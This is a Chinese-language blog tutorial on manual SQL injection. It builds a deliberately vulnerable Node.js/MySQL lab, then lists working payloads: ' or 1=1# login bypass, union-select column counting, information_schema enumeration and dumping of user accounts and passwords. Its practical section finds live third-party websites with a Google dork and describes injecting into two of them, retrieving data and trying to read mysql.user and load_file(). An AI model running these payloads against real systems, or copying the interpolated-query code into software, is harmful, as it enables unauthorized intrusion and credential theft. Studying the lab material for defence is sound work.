手動SQL注入原理分析與實踐

代碼倉庫

本文所用代碼的代碼庫地址:javascript

瞭解SQL注入

定義php

SQL注入攻擊(SQL Injection),簡稱注入攻擊,是Web開發中最多見的一種安全漏洞。能夠用它來從數據庫獲取敏感信息,或者利用數據庫的特性執行添加用戶,導出文件等一系列惡意操做,甚至有可能獲取數據庫乃至系統用戶最高權限。html

原理java

形成SQL注入的緣由是由於程序沒有有效過濾用戶的輸入,使攻擊者成功的向服務器提交惡意的SQL查詢代碼,程序在接收後錯誤的將攻擊者的輸入做爲查詢語句的一部分執行,致使原始的查詢邏輯被改變,額外的執行了攻擊者精心構造的惡意代碼。
從本質上來講,SQL注入和XSS注入很類似,都是由於沒有作好對用戶的輸入控制而致使的錯誤。node

環境準備

  • 安裝PostgresSQL 和 Mysql:
sudo apt-get update
sudo apt-get install postgresql pgadmin3
sudo pg_createcluster -p 5432 -u postgres 9.3 virusTest --start
sudo netstat -aWn --programs | grep postgres
  • 安裝Mysql
sudo apt-get update
sudo apt-get install mysql-server
  • 建立數據庫
sudo su
su postgres
psql
create database virustest
  • 在Ubuntu上安裝NodeJs
wget -t https://nodejs.org/dist/v6.9.1/node-v6.9.1-linux-x64.tar.xz
tar -xf node-v6.9.1-linux-x64.tar.xz
cd node-v6.9.1-linux-x64.tar.xz/bin
ln -s *****  /usr/local/bin/node
ln -s *****  /usr/local/bin/npm

經典注入:' or 1=1

準備工做

  • 編寫models/index.jsmodels/migrate.jsmodels/User.js建立以下圖所示的User表:
User表
account password
test0 1234560
test1 1234561
test2 1234562
  • 執行node models/migrate初始化數據庫
  • 編寫 first/index.js 定義簡單的服務器
  • 編寫 views/index.html 定義簡單的登陸頁面
  • 安裝全部依賴npm install

實踐

數據庫初始化完成後,咱們來開心的模擬一次經典的登陸注入操做 :使用' or 1=1#繞過用戶名和密碼驗證直接登陸。mysql

  • 啓動服務器 node first/index.js,訪問http://localhost:5000/看到以下網頁
    linux



  • 輸入 account : test0, password : 1234560,能夠發現登陸成功git

  • 輸入 account : test0, password : wrongPassword,能夠發現登陸失敗github

  • 輸入 account : ' or 1=1# , password : test,能夠發現登陸成功!!!sql

咱們來看看後臺代碼中對用戶輸入的用戶名和密碼進行驗證的的SQL語句:

`select * from Users where account ='${account}' and password='${password}'`

咱們將account:' or 1=1#,password:test 的值帶入,這條語句變成了:

select * from users where account = '' or 1=1 #' and password='test'

能夠看到:

  • SQL的Where子句就變成了永真,由於account='' or 1 = 1永遠成立。
  • #後面的語句所有變成了註釋(mysql能夠用#號來註釋代碼),不會影響代碼正確運行,服務器不會返回500。

這個注入可以成功的緣由就在於——靈活使用'字符和#字符。

Union子句的妙用

準備工做

  • 編寫models/Article和models/migrate.js定義以下圖所示的Articles表:

    圖片名稱
  • 執行node models/migrate初始化數據庫
  • 編寫路由代碼:
router.get("/article",function *(){
    var ctx = this;
    var query = ctx.request.query;
    var articleId = query.id || 1;
    debug("SQL",`select * from Articles where id = ${articleId}`);
    var data = yield db.query(`select * from Articles where id = ${articleId}`,{
        type: db.QueryTypes.SELECT
    });
    data = data.length !== 0 ? data[data.length - 1] : {
        title : "沒有這個文章",
        content :"<p>沒有這個文章</p>"
    };
    // debug(data);
    yield ctx.render("index.html", data);
})

此路由函數會先接收GET參數傳來的id,使用SQL對id進行查詢,將查詢到的數據渲染到html返回給瀏覽器端。

實踐

  • 啓動服務器 node first/index.js,訪問http://localhost:3030/article?id=1,能夠看到以下圖所示的界面:

    圖片名稱
  • 訪問 http://localhost:3030/article?id=3/*ABC*/,能夠發現返回的頁面沒有變化,這說明後臺對輸入沒有過濾,這裏是能夠注入的。
  • 確認頁面能夠注入後,訪問http://localhost:3030/article?id=3 and 1=2,能夠發現頁面顯示沒有文章,由於1=2的判斷致使SQL的Where子句永遠爲false,因此沒有文章返回。

    圖片名稱
  • 使用union子句獲得當前文章所在表的列數,從1開始測,依次訪問如下網址
http://localhost:3030/article?id=3 and 1=1 union select 1
http://localhost:3030/article?id=3 and 1=1 union select 1,2  
http://localhost:3030/article?id=3 and 1=1 union select 1,2,3  
http://localhost:3030/article?id=3 and 1=1 union select 1,2,3,4  
http://localhost:3030/article?id=3 and 1=1 union select 1,2,3,4,5

前四步都顯示:


圖片名稱

這是由於union兩頭鏈接的表的字段數不一致,因此SQL語句執行結果是錯誤的。而訪問 http://localhost:3030/article?id=3 and 1=1 union select 1,2,3,4,5成功,這是由於Articles表的列數就是5,訪問這樣的網址,後臺實際執行的SQL語句及其結果以下圖所示:

圖片名稱

  • 訪問http://localhost:3030/article?id=3 and 1=1 union select 1,2,3,4,5,咱們發現頁面展現的仍是id=3的文章,查看路由處理的代碼:

    圖片名稱

    能夠發現,默認返回的是第一條數據,因此咱們加一個order by id DESC就能夠看到別的數據了:
http://localhost:3030/article?id=3 and 1=1 union select 10000,2,3,4,5 order by id DESC

訪問上述網址,後臺執行的SQL語句及其結果以下圖所示


圖片名稱

因此頁面的返回結果是:


圖片名稱

咱們能夠看到咱們傳給後端的2,3分別在這裏被展現在了頁面上。

  • 首先,咱們要知道數據庫的版本和數據表的名稱,訪問如下網址:
http://localhost:3030/article?id=3 and 1=1 union select 10000,version(),database(),4,5 order by id DESC

咱們就能夠看到數據庫的版本和數據表的名稱:


圖片名稱

這裏記下virustest這個數據庫的名稱。

  • 知道了數據庫的名稱後,嘗試獲得咱們所須要的表的名稱,將訪問的網址改爲:
http://localhost:3030/article?id=3 and 1=1 union select 10000,2,TABLE_NAME,4,5 FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=virustest order by rand() DESC

其中的order by rand()能夠幫助咱們隨機地看到數據庫中有哪些表,咱們多訪問幾回,就能夠看到有一個Users表:


圖片名稱

這個Users表就很是有用,咱們來繼續注入,嘗試着拿到用戶名和密碼。

  • 知道了數據表的名稱後,就能夠嘗試着獲得表中列的名稱,將訪問網址改爲:
http://localhost:3030/article?id=3 and 1=1 union SELECT 10000,COLUMN_NAME,3,4,5 FROM information_schema.columns where TABLE_SCHEMA='virustest' and TABLE_NAME='Users' order by rand()

因爲有order by rand(),多訪問幾回,咱們就能夠陸續看到全部的列名,有兩個字段咱們比較感興趣:


圖片名稱


圖片名稱

記住「account」字段和「password」字段

  • 知道了數據表的列名後,就能夠開始拖庫了,訪問如下網址:
http://localhost:3030/article?id=3 and 1=1 union select 1,account,password,4,5 from Users order by rand() DESC

訪問結果以下圖所示:


圖片名稱

不斷訪問這個網址,就能夠陸續看到數據庫中的全部用戶名和密碼。

實戰

搜索引擎的使用

使用Google搜索inurl:.php?id=MTM=,這裏inurl指的是在url內有後面字符串的網站,後面的id=MTM=是指base64加密後的id=13,代表網站對URL進行了base64處理。Google查詢出來結果以下:



我本身通過刪選測試,選取了兩個網站:

本次就對這兩個網站進行破解,先回顧一下咱們上次本身研究的幾個破解步驟:

  • 測試可否被注入
  • 經過union測表段數目
  • 經過mysql函數獲得數據庫的名稱
  • 經過INFORMATION_SCHEMA查詢表的名稱和表內行的名稱
  • 獲取想要的數據

咱們藉助http://www1.tc711.com/tool/BASE64.htm這個base64工具進行base64加解密

第一個網站的SQL注入

第二個網站的SQL注入

總結

咱們進行了兩次對互聯網網站的SQL注入,第一次不是很成功,第三次好歹是拿到數據了,嘗試了一下擴大戰果,select user,password from mysql.user,失敗= - =,估計是沒有權限。select hex(load_file())的方法也是失敗,畢竟mysql版本是5.5,安全級別較高,想要load_file()仍是很難的。

經過以上的實踐,咱們能夠總結出一些防範SQL注入的方法:

  • 限制權限,單獨搞一個數據庫和用戶暴露給外界,把查詢的範圍和權限限制死,你就算能夠注入也然並卵,數據沒有用啊!
  • 直接過濾掉union或者select,不容許傳的參數裏面帶有這個(360的作法)

在Restful API的時代,開發者在開發一個項目的時常常用到相似於id=?或者title=?這樣的GET參數查詢,後端通訊可能會有不少這樣的漏洞,而這樣的漏洞形成的後果每每是災難性的。開發者尤爲是後端開發者必定要注意哦!

相關文章
相關標籤/搜索